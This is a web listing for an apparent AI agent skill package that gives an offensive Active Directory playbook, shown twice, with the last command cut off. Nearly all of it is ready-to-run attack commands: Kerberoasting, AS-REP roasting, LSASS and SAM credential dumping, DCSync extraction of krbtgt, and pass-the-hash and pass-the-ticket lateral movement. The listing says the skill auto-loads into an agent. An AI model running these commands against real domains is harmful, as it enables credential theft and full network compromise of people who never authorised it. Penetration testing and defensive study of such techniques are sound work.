/attacking-active-directory
Attack and enumerate Active Directory environments using Kerberos attacks (Kerberoasting, ASREPRoasting), credential dumping (DCSync, Mimikatz), lateral movement (PtH, PtT), and BloodHound analysis. Use when pentesting Windows domains or exploiting AD misconfigurations.
$ npx -y skills add trilwu/secskills --skill attacking-active-directory --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/attacking-active-directory
Context preview
The summary Claude sees to decide when to auto-load this skill.
Attack and enumerate Active Directory environments using Kerberos attacks (Kerberoasting, ASREPRoasting), credential dumping (DCSync, Mimikatz), lateral movement (PtH, PtT), and BloodHound analysis. Use when pentesting Windows domains or exploiting AD misconfigurations.
SKILL.md
attacking-active-directory.SKILL.mdname: attacking-active-directory
description: Attack and enumerate Active Directory environments using Kerberos attacks (Kerberoasting, ASREPRoasting), credential dumping (DCSync, Mimikatz), lateral movement (PtH, PtT), and BloodHound analysis. Use when pentesting Windows domains or exploiting AD misconfigurations.
verified: 2026-07-27
Attacking Active Directory
When to Use
- AD reconnaissance and enumeration
- Kerberos-based attacks
- Credential dumping from domain controllers
- Lateral movement within domains
- BloodHound attack path analysis
- Domain persistence techniques
When NOT to Use
- **Non-Windows / Linux-only environments** — use `enumerating-network-services`
- **Cracking the hashes you collected** — use `cracking-passwords`
- **Post-domain-compromise persistence** — use `establishing-persistence`
- **Entra ID / Azure AD as the primary target** — use `attacking-entra-id`
- **Detecting these attacks defensively** — use `engineering-detections`
A privileged, Kerberoastable account with no logon history is a classic honeyuser: roasting it raises a high-fidelity alert. Check `recognizing-deception` before roasting an account that looks too convenient.
Route to a Depth Skill
Several AD escalation families are deep enough to have their own procedure skill. When enumeration points at one of these, switch to it — the general methodology here does not carry the tool-specific detail they do.
| Signal | Skill | | --- | --- | | A CA exists (`pKIEnrollmentService`), `certipy find` flags a template, ESC1-ESC16 | `abusing-adcs` | | BloodHound flags Unconstrained/Constrained/RBCD delegation, `GenericWrite` over a computer | `attacking-kerberos-delegation` | | The target is Entra ID / Azure AD, tokens, PRTs, or hybrid-identity sync | `attacking-entra-id` |
The domain methodology below (Kerberoasting, DCSync, lateral movement) still applies; these skills specialize a single step of it and hand back here.
Kerberoasting
**Windows:**
# Check kerberoastable users
.\Rubeus.exe kerberoast /stats
# Roast all
.\Rubeus.exe kerberoast /outfile:hashes.txt
# Target specific user
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.txt
# Target admins only
.\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap
**Linux:**
# Impacket GetUserSPNs
GetUserSPNs.py -request -dc-ip 10.10.10.10 domain.local/user:password -outputfile hashes.txt
# With NT hash
GetUserSPNs.py -request -dc-ip 10.10.10.10 -hashes :ntlmhash domain.local/user -outputfile hashes.txt
# Target specific user
GetUserSPNs.py -request-user svc_mssql -dc-ip 10.10.10.10 domain.local/user:password
**Crack Hashes:**
# Hashcat (TGS-REP)
hashcat -m 13100 hashes.txt wordlist.txt
# John
john --wordlist=wordlist.txt hashes.txt
ASREPRoasting
**Windows:**
# Enumerate vulnerable users
Get-DomainUser -PreauthNotRequired
# Roast
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
.\Rubeus.exe asreproast /user:victim /format:hashcat
**Linux:**
# With domain creds
GetNPUsers.py domain.local/user:password -request -format hashcat -outputfile hashes.txt
# Without creds (username list)
GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -outputfile hashes.txt -dc-ip 10.10.10.10
**Crack AS-REP:**
hashcat -m 18200 hashes.txt wordlist.txt
BloodHound
**Data Collection:**
# Windows - SharpHound
.\SharpHound.exe -c All --zipfilename output.zip
.\SharpHound.exe -c All,GPOLocalGroup
**Linux:**
# bloodhound-python
bloodhound-python -u user -p password -ns 10.10.10.10 -d domain.local -c All --zip
**Useful Queries:**
# Shortest path to Domain Admins
MATCH p=shortestPath((n)-[*1..]->(m:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})) RETURN p
# Kerberoastable users
MATCH (u:User {hasspn:true}) RETURN u
# AS-REP Roastable
MATCH (u:User {dontreqpreauth:true}) RETURN u
# Unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
# DCSync rights
MATCH p=(n)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain) RETURN pCredential Dumping
**LSASS Dumping:**
# Task Manager: Right-click lsass.exe -> Create dump file
# procdump
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# comsvcs.dll
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\Temp\lsass.dmp full
# Parse offline with mimikatz
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
**SAM Dumping:**
# Save hives
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
# Extract hashes (Linux)
secretsdump.py -sam sam.hive -system system.hive LOCAL
**DCSync (Domain):**
# secretsdump - dump all
secretsdump.py domain.local/user:password@dc.domain.local -just-dc
# Specific user
secretsdump.py domain.local/user:password@dc.domain.local -just-dc-user krbtgt
# With NTLM hash
secretsdump.py -hashes :ntlmhash domain.local/user@dc.domain.local -just-dc
Pass-the-Hash
**Windows:**
# Mimikatz
sekurlsa::pth /user:administrator /domain:domain.local /ntlm:hash /run:cmd.exe
**Linux:**
# NetExec (nxc)
nxc smb 10.10.10.10 -u administrator -H hash
nxc smb 10.10.10.10 -u administrator -H hash -x whoami
# psexec
psexec.py -hashes :hash administrator@10.10.10.10
# wmiexec
wmiexec.py -hashes :hash administrator@10.10.10.10
# evil-winrm
evil-winrm -i 10.10.10.10 -u administrator -H hash
Pass-the-Ticket
**Export Tickets:**
# Mimikatz
sekurlsa::tickets /export
# Rubeus
.\Rubeus.exe dump /nowrap
.\Rubeus.exe monitor /interval:10
**Import/Use Tickets:**
# Mimikatz
kerberos::ptt ticket.kirbi
# Rubeus
.\Rubeus.exe ptt /ticket:base64ticket
# Verify
klist
**Linux PtT:**
# Convert kirbi to ccache
ticketConverter.py ticket.kirbi ticket.ccache
# Set ticket
export KRB5CCNAME=ticket.ccache
# Use ticket
psexec.py -k -no-pass domain.local/administrator@dc.domain.lo
Read more
name: attacking-active-directory description: Attack and enumerate Active Directory environments using Kerberos attacks (Kerberoasting, ASREPRoasting), credential dumping (DCSync, Mimikatz), lateral movement (PtH, PtT), and BloodHound analysis. Use when pentesting Windows domains or exploiting AD misconfigurations. verified: 2026-07-27
Attacking Active Directory
When to Use
- AD reconnaissance and enumeration
- Kerberos-based attacks
- Credential dumping from domain controllers
- Lateral movement within domains
- BloodHound attack path analysis
- Domain persistence techniques
When NOT to Use
- **Non-Windows / Linux-only environments** — use `enumerating-network-services`
- **Cracking the hashes you collected** — use `cracking-passwords`
- **Post-domain-compromise persistence** — use `establishing-persistence`
- **Entra ID / Azure AD as the primary target** — use `attacking-entra-id`
- **Detecting these attacks defensively** — use `engineering-detections`
A privileged, Kerberoastable account with no logon history is a classic honeyuser: roasting it raises a high-fidelity alert. Check `recognizing-deception` before roasting an account that looks too convenient.
Route to a Depth Skill
Several AD escalation families are deep enough to have their own procedure skill. When enumeration points at one of these, switch to it — the general methodology here does not carry the tool-specific detail they do.
| Signal | Skill | | --- | --- | | A CA exists (`pKIEnrollmentService`), `certipy find` flags a template, ESC1-ESC16 | `abusing-adcs` | | BloodHound flags Unconstrained/Constrained/RBCD delegation, `GenericWrite` over a computer | `attacking-kerberos-delegation` | | The target is Entra ID / Azure AD, tokens, PRTs, or hybrid-identity sync | `attacking-entra-id` |
The domain methodology below (Kerberoasting, DCSync, lateral movement) still applies; these skills specialize a single step of it and hand back here.
Kerberoasting
**Windows:**
# Check kerberoastable users .\Rubeus.exe kerberoast /stats # Roast all .\Rubeus.exe kerberoast /outfile:hashes.txt # Target specific user .\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.txt # Target admins only .\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap
**Linux:**
# Impacket GetUserSPNs GetUserSPNs.py -request -dc-ip 10.10.10.10 domain.local/user:password -outputfile hashes.txt # With NT hash GetUserSPNs.py -request -dc-ip 10.10.10.10 -hashes :ntlmhash domain.local/user -outputfile hashes.txt # Target specific user GetUserSPNs.py -request-user svc_mssql -dc-ip 10.10.10.10 domain.local/user:password
**Crack Hashes:**
# Hashcat (TGS-REP) hashcat -m 13100 hashes.txt wordlist.txt # John john --wordlist=wordlist.txt hashes.txt
ASREPRoasting
**Windows:**
# Enumerate vulnerable users Get-DomainUser -PreauthNotRequired # Roast .\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt .\Rubeus.exe asreproast /user:victim /format:hashcat
**Linux:**
# With domain creds GetNPUsers.py domain.local/user:password -request -format hashcat -outputfile hashes.txt # Without creds (username list) GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -outputfile hashes.txt -dc-ip 10.10.10.10
**Crack AS-REP:**
hashcat -m 18200 hashes.txt wordlist.txt
BloodHound
**Data Collection:**
# Windows - SharpHound .\SharpHound.exe -c All --zipfilename output.zip .\SharpHound.exe -c All,GPOLocalGroup
**Linux:**
# bloodhound-python bloodhound-python -u user -p password -ns 10.10.10.10 -d domain.local -c All --zip
**Useful Queries:**
# Shortest path to Domain Admins
MATCH p=shortestPath((n)-[*1..]->(m:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})) RETURN p
# Kerberoastable users
MATCH (u:User {hasspn:true}) RETURN u
# AS-REP Roastable
MATCH (u:User {dontreqpreauth:true}) RETURN u
# Unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
# DCSync rights
MATCH p=(n)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain) RETURN pCredential Dumping
**LSASS Dumping:**
# Task Manager: Right-click lsass.exe -> Create dump file # procdump procdump.exe -accepteula -ma lsass.exe lsass.dmp # comsvcs.dll rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\Temp\lsass.dmp full # Parse offline with mimikatz sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords
**SAM Dumping:**
# Save hives reg save HKLM\SAM sam.hive reg save HKLM\SYSTEM system.hive # Extract hashes (Linux) secretsdump.py -sam sam.hive -system system.hive LOCAL
**DCSync (Domain):**
# secretsdump - dump all secretsdump.py domain.local/user:password@dc.domain.local -just-dc # Specific user secretsdump.py domain.local/user:password@dc.domain.local -just-dc-user krbtgt # With NTLM hash secretsdump.py -hashes :ntlmhash domain.local/user@dc.domain.local -just-dc
Pass-the-Hash
**Windows:**
# Mimikatz sekurlsa::pth /user:administrator /domain:domain.local /ntlm:hash /run:cmd.exe
**Linux:**
# NetExec (nxc) nxc smb 10.10.10.10 -u administrator -H hash nxc smb 10.10.10.10 -u administrator -H hash -x whoami # psexec psexec.py -hashes :hash administrator@10.10.10.10 # wmiexec wmiexec.py -hashes :hash administrator@10.10.10.10 # evil-winrm evil-winrm -i 10.10.10.10 -u administrator -H hash
Pass-the-Ticket
**Export Tickets:**
# Mimikatz sekurlsa::tickets /export # Rubeus .\Rubeus.exe dump /nowrap .\Rubeus.exe monitor /interval:10
**Import/Use Tickets:**
# Mimikatz kerberos::ptt ticket.kirbi # Rubeus .\Rubeus.exe ptt /ticket:base64ticket # Verify klist
**Linux PtT:**
# Convert kirbi to ccache ticketConverter.py ticket.kirbi ticket.ccache # Set ticket export KRB5CCNAME=ticket.ccache # Use ticket psexec.py -k -no-pass domain.local/administrator@dc.domain.lo
**Security skills for Claude Code that encode the judgment professionals bring, not another wrapper around a scanner.** Offense, defense, and the reverse-engineering and code-audit core both sides share. Every skill is fact-checked against primary sources.

